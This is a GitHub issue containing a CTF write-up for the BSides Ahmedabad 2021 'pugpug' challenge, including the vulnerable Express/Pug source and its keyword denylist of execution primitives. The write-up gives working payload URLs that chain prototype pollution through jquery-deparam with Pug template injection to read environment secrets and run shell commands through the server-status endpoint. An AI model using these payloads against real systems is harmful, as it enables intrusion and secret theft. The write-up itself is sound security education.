Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

BSides Ahmedabad CTF 2021 - pugpug #44

Open
aszx87410 opened this issue Nov 7, 2021 · 0 comments
Open

BSides Ahmedabad CTF 2021 - pugpug #44

aszx87410 opened this issue Nov 7, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

aszx87410 commented Nov 7, 2021

Description

Here is the beta access to a interactive learning tool of my course

螢幕快照 2021-11-07 上午9 12 53

Source code

// index.js

const express = require('express');
const deparam = require('jquery-deparam');
const {template} = require('./util.js');
const pug = require('pug');
const child_process = require('child_process');


const app = express()
const port = 3000

app.set('view engine', 'pug')
//Configure server-staus options here
options = {args:["-eo", "cpu,args"], options:{"timeout":500} }
//I don't trust these modules
Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )
//I believe in Defense in Depth and I don't trust the code I write, so here is my waf
app.use((req, res, next) => {
	inp = decodeURIComponent(req.originalUrl)
	const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];
	for(i=0;i<denylist.length; i++){
		if(inp.includes(denylist[i])){
			return res.send('request is blocked');
		}
	}

	next();
  });
  

app.get('/',(req,res) =>{
	var basic = {
		title: "Pug 101",
		head: "Welcome to Pug 101",
		name: "Guest"
	}
	var input = deparam(req.originalUrl.slice(2));
	if(input.name)
		basic.name = input.name.Safetify()
	if(input.head)
	    basic.head = input.head.Safetify()
	var content = input.content? input.content.Safetify() : ''
	var pugtmpl = template.replace('OUT',content)
	const compiledFunction = pug.compile(pugtmpl)
	res.send(compiledFunction(basic));
});

app.get('/serverstatus', (req, res) => {
	const result = child_process.spawnSync('ps' , options.args, options.options);
	out = result.stdout.toString();
	res.send(out)
})

app.listen(port, () => {
  console.log('started')
})
// util.js
//Copied from https://github.com/Spacebrew/spacebrew/blob/1d8fb258c04cfe65728ce32e0b198032f384d9c3/admin/js/utils.js
//static regex and function to replace all non-alphanumeric characters
//in a string with their unicode decimal surrounded by hyphens
//and a regex/function pair to do the reverse
String.SafetifyRegExp = new RegExp("([^a-zA-Z0-9 \r\n])","gi");
String.UnsafetifyRegExp = new RegExp("-(.*?)-","gi");
String.SafetifyFunc = function(match, capture, index, full){
    //my pug hates these characters
	return "b nyan "+capture.charCodeAt(0);
};
String.UnsafetifyFunc = function(match, capture, index, full){
	return String.fromCharCode(capture);
};

//create a String prototype function so we can do this directly on each string as
//"my cool string".Safetify()
String.prototype.Safetify = function(){
	return this.replace(String.SafetifyRegExp, String.SafetifyFunc);
};
String.prototype.Unsafetify = function(){
	return this.replace(String.UnsafetifyRegExp, String.UnsafetifyFunc);
};

//global functions so we can call ['hello','there'].map(Safetify)
Safetify = function(s){
	return s.Safetify();
};
Unsafetify = function(s){
	return s.Unsafetify();
};


var template = `
doctype html
html
   head
      title #{title}
      link(rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.min.css")
   body
      h1 #{head}, #{name}
      p You can learn about Pug interactively on my brand new site!
      p Note: The pug features are limited, for more pug features you have to subscribe to my course which will be released soon.
      
      form(action='/', method='GET')
        p
        | name:                 
        input( name='name', value='Guest') 
        br
        | content:    
        textarea( name='content') b hello world
        input(type='submit', value='Submit')
      br
      p Rendered Output:
      OUT`

module.exports = {
    template: template
}

Writeup

I checked package.json and found jquery-deparam, so I think it's a challenge about prototype pollution.

But, the prototype has been sealed via Objec.seal:

Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )

So, our target is not Object.prototype, is String.SafetifyRegExp. We can pollute String.SafetifyRegExp to bypass SafetifyFunc.

Like this:

?a[b]=c&a[b][constructor][SafetifyRegExp]=9
// "c".constructor is String
// so String.SafetifyRegExp = '9'

We can use any characters now, and then we can leverage pug.compile to do SSTI.

global is blocked but we can use this instead, process also blocked so we need to find another way, I found that we can use options.args:

b hello world #{this[options.args[1][1]+options.args[1][5]+options.args[0][2]+options.args[1][0]+options.args[0][1]+options.args[1][7]+options.args[1][7]].env.FLAG} 

What if we couldn't find all the characters in options.args? We can pollute another property as well:

http://localhost:3000/?a[b]=c&a[b][constructor][SafetifyRegExp]=9&b[constructor][prototype][valueOf]=proces

b #{this[options.valueOf+options.valueOf[5]].env.FLAG} 

Just modify optinos if you need a RCE:

http://localhost:3000/?
a[b]=c&a[b][constructor][SafetifyRegExp]=9&
b[constructor][prototype][valueOf]=;env;

b #{options.options.shell=true} #{options.args[0]=options.valueOf}

Then vist /serverstatus to see the result

螢幕快照 2021-11-07 上午9 12 31

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant